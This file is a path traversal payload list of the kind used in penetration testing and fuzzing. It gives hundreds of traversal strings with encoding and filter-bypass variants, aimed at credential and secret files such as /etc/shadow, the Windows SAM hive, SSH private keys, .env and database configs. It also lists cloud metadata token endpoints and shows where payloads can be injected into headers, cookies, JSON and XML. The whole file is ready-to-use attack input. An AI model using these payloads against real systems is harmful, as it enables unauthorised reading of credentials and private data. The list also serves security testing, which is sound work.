path-traversal-payloads.txt

# Path Traversal Payloads

# Basic traversal
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../

# URL encoded
..%2F
..%2F..%2F
..%2F..%2F..%2F
..%252f
..%252f..%252f

# Double URL encoded
..%252F
..%252F..%252F
..%c0%af
..%c1%9c

# Windows paths
..\
..\..\
..\..\..\
..%5C
..%5C..%5C
..%255C

# Null byte injection
../../../etc/passwd%00
../../../etc/passwd%00.jpg
..%2F..%2F..%2Fetc%2Fpasswd%00

# Common target files
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../windows/system32/config/sam
../../../windows/win.ini
../../../boot.ini
..\..\..\..\windows\system.ini

# Web server files
../../../var/www/html/index.php
../../../usr/local/apache/conf/httpd.conf
../../../etc/httpd/conf/httpd.conf
../../../etc/nginx/nginx.conf

# Application files
../../../config/database.yml
../../../.env
../../../web.config
../../../application.properties

# Advanced encoding techniques
..%c0%af
..%c1%9c
..%e0%80%af
..%f0%80%80%af
..%c0%2f
..%c0%5c

# Unicode bypass
..%u2216
..%u2215
..%uEFC8
..%uF025

# 16-bit Unicode
..%c0%af
..%c1%9c
%c0%ae%c0%ae/
%c0%ae%c0%ae%c0%af

# UTF-8 encoding
%e0%80%ae%e0%80%ae/
%c0%2e%c0%2e/
%uff0e%uff0e/

# Overlong UTF-8
..%c0%af
..%e0%80%af
..%c0%2e%c0%2e%c0%2f

# Backslash variations
..\
..\..
..\\
..\\..\\
%2e%2e%5c
%2e%2e%2f

# Mixed slash/backslash
..\/
..\/..\
../\..\
..\/../

# Absolute path bypass
/etc/passwd
/etc/shadow
/etc/hosts
/var/log/apache2/access.log
/var/log/auth.log
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2

# Windows absolute paths
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\boot.ini
C:\inetpub\wwwroot\web.config

# Nested traversal
....//
....\/
..../\
....\\

# Dot segment bypass
./../
./../../
././../
./.././../

# Multiple slashes
...//
....///
.....////

# Filter bypass with current directory
.//.//.//.//..//
.//.//.//.//.//

# Stripped traversal (if ../ is filtered)
...//...//
....\/....\/
..;/..;/
..;//..;//

# Null byte variations
../../../etc/passwd%00
../../../etc/passwd%00.png
../../../etc/passwd\x00
../../../etc/passwd\0

# Path normalization bypass
/var/www/../../etc/passwd
/./var/./www/./../../etc/passwd
//var//www//../../etc/passwd

# URL parameter pollution
?file=safe.txt&file=../../../etc/passwd
?path=images&path=../../../etc/passwd

# Common web files
../../../index.php
../../../index.html
../../../wp-config.php
../../../configuration.php
../../../settings.php
../../../config.php
../.git/config
../.env
../.htaccess

# Framework-specific files
# Laravel
../../../.env
../../../storage/logs/laravel.log
../../../config/database.php
../../../config/app.php

# Symfony
../../../.env.local
../../../config/packages/security.yaml
../../../var/log/dev.log

# Django
../../../settings.py
../../../manage.py
../../../db.sqlite3

# Spring Boot
../../../application.properties
../../../application.yml
../../../application-prod.properties

# Ruby on Rails
../../../config/database.yml
../../../config/secrets.yml
../../../Gemfile

# Node.js/Express
../../../package.json
../../../.env
../../../config/default.json

# ASP.NET
../../../web.config
../../../Web.config
../../../appsettings.json
../../../appsettings.Production.json

# Java
../../../WEB-INF/web.xml
../../../META-INF/context.xml
../../../WEB-INF/classes/application.properties

# Cloud provider metadata
../../../../../../proc/self/environ
../../../../../../proc/version
../../../../../../proc/cmdline

# AWS metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document

# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Docker
../../../../../../proc/self/cgroup
../../../../../../proc/self/mountinfo
../../../../../../etc/hostname

# Log files
../../../var/log/apache2/access.log
../../../var/log/apache2/error.log
../../../var/log/nginx/access.log
../../../var/log/nginx/error.log
../../../var/log/auth.log
../../../var/log/syslog
../../../var/log/mail.log
../../../var/log/mysql/error.log

# Windows log files
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx

# SSH keys
../../../root/.ssh/id_rsa
../../../root/.ssh/id_dsa
../../../root/.ssh/authorized_keys
../../../home/user/.ssh/id_rsa
../../../home/user/.ssh/authorized_keys

# Database files
../../../var/lib/mysql/mysql/user.MYD
../../../var/lib/postgresql/data/pg_hba.conf
../../../var/lib/mongodb/data/db

# Backup files
../../../backup.sql
../../../database.sql
../../../db_backup.sql
../../../site_backup.tar.gz
../../../backup.zip

# Source code files
../../../.git/HEAD
../../../.git/config
../../../.git/logs/HEAD
../../../.svn/entries
../../../.hg/hgrc

# Session files
../../../tmp/sess_*
../../../var/lib/php/sessions/sess_*
../../../tmp/sessions/*

# Cache files
../../../tmp/cache/*
../../../var/cache/*
../../../storage/cache/*

# Temporary files
../../../tmp/*
../../../temp/*
../../../var/tmp/*

# SSRF via path traversal
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd

# Path traversal in cookies
Cookie: file=../../../etc/passwd
Cookie: path=../../../var/www/html/index.php

# Path traversal in headers
X-File: ../../../etc/passwd
X-Path: ../../../var/www/html/config.php
User-Agent: ../../../etc/passwd
Referer: ../../../etc/passwd

# Path traversal in JSON
{"file":"../../../etc/passwd"}
{"path":"../../../var/www/html/config.php"}
{"template":"../../../etc/passwd"}

# Path traversal in XML
<file>../../../etc/passwd</file>
<path>../../../var/www/html/config.php</path>

# Polyglot path traversal
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd
..%c0%af..%c0%af..%c0%afetc/passwd

# Filter evasion
..%00/..%00/..%00/etc/passwd
..%20/..%20/..%20/etc/passwd
..%09/..%09/..%09/etc/passwd

# Case sensitivity (Windows)
..\\..\\..\\..\\..\\..\\..\\.\\ETC\\PASSWD
..\\..\\..\\..\\..\\..\\..\\.\\Etc\\Passwd

# Alternate data streams (Windows)
../../../test.txt::$DATA
../../../test.txt::$INDEX_ALLOCATION

# UNC paths (Windows)
\\\\localhost\\C$\\Windows\\System32\\drivers\\etc\\hosts
\\\\127.0.0.1\\C$\\Windows\\System32\\config\\SAM

# Mac/Linux specific
../../../etc/passwd
../../../etc/master.passwd
../../../private/etc/master.passwd
../../../Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist